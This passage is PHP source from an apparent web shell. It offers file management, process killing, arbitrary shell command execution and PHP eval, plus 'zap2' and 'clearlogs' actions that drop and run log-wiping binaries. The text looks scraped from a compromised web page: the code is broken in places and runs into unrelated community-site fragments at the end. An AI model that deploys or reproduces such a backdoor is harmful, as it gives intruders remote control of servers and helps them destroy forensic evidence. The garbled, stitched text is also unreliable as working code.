"; $line = explode(" ",$line); $line[10] = join(" ",array_slice($line,10)); $line = array_slice($line,0,11); if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";} $line[] = "KILL "; $prcs[] = $line; echo ""; } } } else { while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg("",$ret)) {$ret = str_replace("","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} $ret = convert_cyr_string($ret,"d","w"); $stack = explode("\n",$ret); unset($stack[0],$stack[2]); $stack = array_values($stack); $head = explode("",$stack[0]); $head[1] = explode(" ",$head[1]); $head[1] = $head[1][0]; $stack = array_slice($stack,1); unset($head[2]); $head = array_values($head); if ($parsesort[1] != "a") {$y = " [sort] ";} else {$y = " [sort] ";} if ($k > count($head)) {$k = count($head)-1;} for($i=0;$i"; $line = explode("",$line); $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); $line[2] = intval(str_replace(" ","",$line[2]))*1024; $prcs[] = $line; echo ""; } } } $head[$k] = "".$head[$k]." ".$y; $v = $processes_sort[0]; usort($prcs,"tabsort"); if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo "
"; $act = 'ls'; } if ($act == 'delete') { $delerr = ''; foreach ($actbox as $v) { $result = FALSE; $result = fs_rmobj($v); if (!$result) $delerr .= 'Can\'t delete '.htmlspecialchars($v).'
'; } if (!empty($delerr)) echo 'Deleting with errors:
'.$delerr; $act = 'ls'; } if (!$usefsbuff) { if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";} } else { if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); sess_put($sess_data); $act = "ls"; } elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); sess_put($sess_data); $act = "ls";} elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} sess_put($sess_data); $act = "ls";} if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); sess_put($sess_data);} elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
";} unset($sess_data["cut"][$k]); } sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
".$psterr;} $act = "ls"; } elseif ($actarcbuff) { $arcerr = ""; if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} else {$ext = ".tar.gz";} if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} $cmdline .= " ".$actarcbuff_path; $objects = array_merge($sess_data["copy"],$sess_data["cut"]); foreach($objects as $v) { $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= "*"; } $cmdline .= " ".$v; } $tmp = realpath("."); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
";} $ret = str_replace("\r\n","\n",$ret); $ret = explode("\n",$ret); if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} foreach($sess_data["cut"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data["cut"][$k]); } sess_put($sess_data); if (!empty($arcerr)) {echo "Archivation errors:
".$arcerr;} $act = "ls"; } elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
";} unset($sess_data["cut"][$k]); } sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
".$psterr;} $act = "ls"; } } // the wipe logs stuff needs to be before cmd, because it will change the $act if the write is successful if ($act == 'zap2') { // *nix cleaner if (is_writable('.')) { cf($act, $$act); // 'tis pure innovation of optimization :) chmod($act, 0777); $cmd = './'.$act; // keep this before $act = 'cmd'; $act = 'cmd'; $cmd_txt = '1'; }else{ echo 'Directory Is Not Writable!
'; } } if ($act == 'clearlogs') { // windows cleaners if (is_writable('.')) { cf($act.'.exe', $$act); chmod($act.'.exe', 0777); $cmd = $act.'.exe'; $act = 'cmd'; $cmd_txt = '1'; }else{ echo 'Directory Is Not Writable!
'; } } if ($act == 'cmd') { if (trim($cmd) == "ps -aux") $act = 'processes'; else { @chdir($chdir); if (!empty($submit)) { echo "Result of execution this command :
"; $olddir = realpath("."); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,"d","w"); if ($cmd_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "
".htmlspecialchars($ret)." "; } else {echo $ret."
";} @chdir($olddir); } else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} echo "
".htmlspecialchars($cmd)."
Display in text-area
"; } } if ($act == 'ls') { if (count($ls_arr) > 0) {$list = $ls_arr;} else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} closedir($h); } else {} } if (count($list) == 0) {echo " Can't open folder (".htmlspecialchars($d).")! ";} else { //Building array $objects = array(); $vd = "f"; //Viewing mode if ($vd == "f") { $objects["head"] = array(); $objects["folders"] = array(); $objects["links"] = array(); $objects["files"] = array(); foreach ($list as $v) { $o = basename($v); $row = array(); if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} elseif (is_dir($v)) { if (is_link($v)) {$type = "LINK";} else {$type = "DIR";} $row[] = $v; $row[] = $type; } elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} $row[] = filemtime($v); if (!$win) { $ow = posix_getpwuid(fileowner($v)); $gr = posix_getgrgid(filegroup($v)); $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); } $row[] = fileperms($v); if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} elseif (is_link($v)) {$objects["links"][] = $row;} elseif (is_dir($v)) {$objects["folders"][] = $row;} elseif (is_file($v)) {$objects["files"][] = $row;} $i++; } $row = array(); $row[] = 'Name '; $row[] = 'Size '; $row[] = 'Modify '; if (!$win) $row[] = 'Owner/Group '; $row[] = 'Perms '; $row[] = 'Action '; $parsesort = parsesort($sort); $sort = $parsesort[0].$parsesort[1]; $k = $parsesort[0]; if ($parsesort[1] != "a") {$parsesort[1] = "d";} $y = ""; $y .= ($parsesort[1] == "a"?" [asc]":" [desc]"); $row[$k] .= $y; for($i=0;$i ";} } $v = $parsesort[0]; usort($objects["folders"], "tabsort"); usort($objects["links"], "tabsort"); usort($objects["files"], "tabsort"); if ($parsesort[1] == "d") { $objects["folders"] = array_reverse($objects["folders"]); $objects["files"] = array_reverse($objects["files"]); } $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); $tab = array(); $tab["cols"] = array($row); $tab["head"] = array(); $tab["folders"] = array(); $tab["links"] = array(); $tab["files"] = array(); $i = 0; foreach ($objects as $a) { $v = $a[0]; $o = basename($v); $dir = dirname($v); if ($disp_fullpath) {$disppath = $v;} else {$disppath = $o;} $disppath = str2mini($disppath,60); if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";} elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";} foreach ($regxp_highlight as $r) { if (ereg($r[0],$o)) { if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; GNYexit();} else { $r[1] = round($r[1]); $isdir = is_dir($v); if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { if (empty($r[2])) {$r[2] = ""; $r[3] = " ";} $disppath = $r[2].$disppath.$r[3]; if ($r[4]) {break;} } } } } $uo = urlencode($o); $ud = urlencode($dir); $uv = urlencode($v); $row = array(); if ($o == ".") { $row[] = "".$o." "; $row[] = "LINK"; } elseif ($o == "..") { $row[] = "".$o." "; $row[] = "LINK"; } elseif (is_dir($v)) { if (is_link($v)) { $disppath .= " => ".readlink($v); $type = "LINK"; $row[] = "[".$disppath."] "; } else { $type = "DIR"; $row[] = "[".$disppath."] "; } $row[] = $type; } elseif(is_file($v)) { $ext = explode(".",$o); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $row[] = " ".$disppath." "; $row[] = view_size($a[1]); } $row[] = date("d.m.Y H:i:s",$a[2]); if (!$win) {$row[] = $a[3];} $row[] = "".view_perms_color($v)." "; if ($o == ".") {$checkbox = " "; $i--;} else {$checkbox = " ";} if (is_dir($v)) {$row[] = "[info] ".$checkbox;} else {$row[] = "[info] [change] [download] ".$checkbox;} if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} elseif (is_link($v)) {$tab["links"][] = $row;} elseif (is_dir($v)) {$tab["folders"][] = $row;} elseif (is_file($v)) {$tab["files"][] = $row;} $i++; } } // Compiling table $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); echo "Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):
'; $countrows = 0; foreach($table as $row) { if ($countrows & 1) { echo "\r\n"; } else { echo "\r\n"; } ++$countrows; foreach($row as $v) {echo "\r\n";} echo "\r\n"; } echo "
"; if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { echo " "; } echo "
With selected:
"; echo "
Delete
"; echo "
Change Mode
"; echo "
MD5 Checksum
"; echo "
SHA1 Checksum
"; if ($usefsbuff) { echo "
Cut
"; echo "
Copy
"; echo '
Unselect
'; } echo '
'; } } if ($act == 'processes') { echo "Processes:
"; if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} else {$handler = "tasklist";} $ret = myshellexec($handler); if (!$ret) {echo "Can't execute \"".$handler."\"!";} else { if (empty($processes_sort)) {$processes_sort = $sort_default;} $parsesort = parsesort($processes_sort); if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} $k = $parsesort[0]; if ($parsesort[1] != "a") {$y = " [sort] ";} else {$y = " [sort] ";} $ret = htmlspecialchars($ret); if (!$win) { if ($pid) { if (is_null($sig)) {$sig = 9;} echo "Sending signal ".$sig." to #".$pid."... "; if (posix_kill($pid,$sig)) {echo "OK.";} else {echo "ERROR.";} } while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $stack = explode("\n",$ret); $head = explode(" ",$stack[0]); unset($stack[0]); for($i=0;$i
"; foreach($tab as $i=>$k) { echo ""; foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "";} echo ""; } echo "
"; } } if ($act == "eval") { if (!empty($eval)) { echo "Result of execution this PHP-code :
"; $tmp = ob_get_contents(); $olddir = realpath("."); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,"d","w"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "
".htmlspecialchars($ret)." "; } else {echo $ret."
";} } else { if ($eval_txt) { echo "
"; eval($eval); echo " "; } else {echo $ret;} } @chdir($olddir); } else {echo "Execute PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}} echo "
".htmlspecialchars($eval)."
Display in text-area
"; } if ($act == 'f') { if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";} else {echo "File does not exists (".htmlspecialchars($d.$f).")!
Create ";} } else { $r = @file_get_contents($d.$f); $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} if (empty($ft)) {$ft = $rft;} $arr = array( array('[info]','info'), array('[rename]','rename'), array('[html]','html'), array('[txt]','txt'), array('[code]','code'), array('[session]','phpsess'), array('[exe]','exe'), array('[sdb]','sdb'), array('[img]','img'), array('[ini]','ini'), array('[download]','download'), array('[notepad]','notepad'), array('[edit]','edit') ); echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."
Select action/file-type:
"; foreach($arr as $t) { if ($t[1] == $rft) {echo " ".$t[0]." ";} elseif ($t[1] == $ft) {echo " ".$t[0]." ";} else {echo " ".$t[0]." ";} echo " (+ ) |"; } echo "
"; if ($ft == "info") { echo "Information: "; if (!$win) { echo "
Path
".$d.$f."
Size
".view_size(filesize($d.$f))."
MD5
".md5_file($d.$f)."
Owner/Group
"; $ow = posix_getpwuid(fileowner($d.$f)); $gr = posix_getgrgid(filegroup($d.$f)); echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); } echo "
Perms
".view_perms_color($d.$f)."
Create time
".date("d/m/Y H:i:s",filectime($d.$f))."
Access time
".date("d/m/Y H:i:s",fileatime($d.$f))."
MODIFY time
".date("d/m/Y H:i:s",filemtime($d.$f))."
"; $fi = fopen($d.$f,"rb"); if ($fi) { if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));} else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = "00000000
"; $a1 = ""; $a2 = ""; for ($i=0; $i
A story from Ana Masry’s community
something spl
One day,after day,next the day
From our Related Initiatives & Projects section
RELATED INITIATIVES & PROJECTS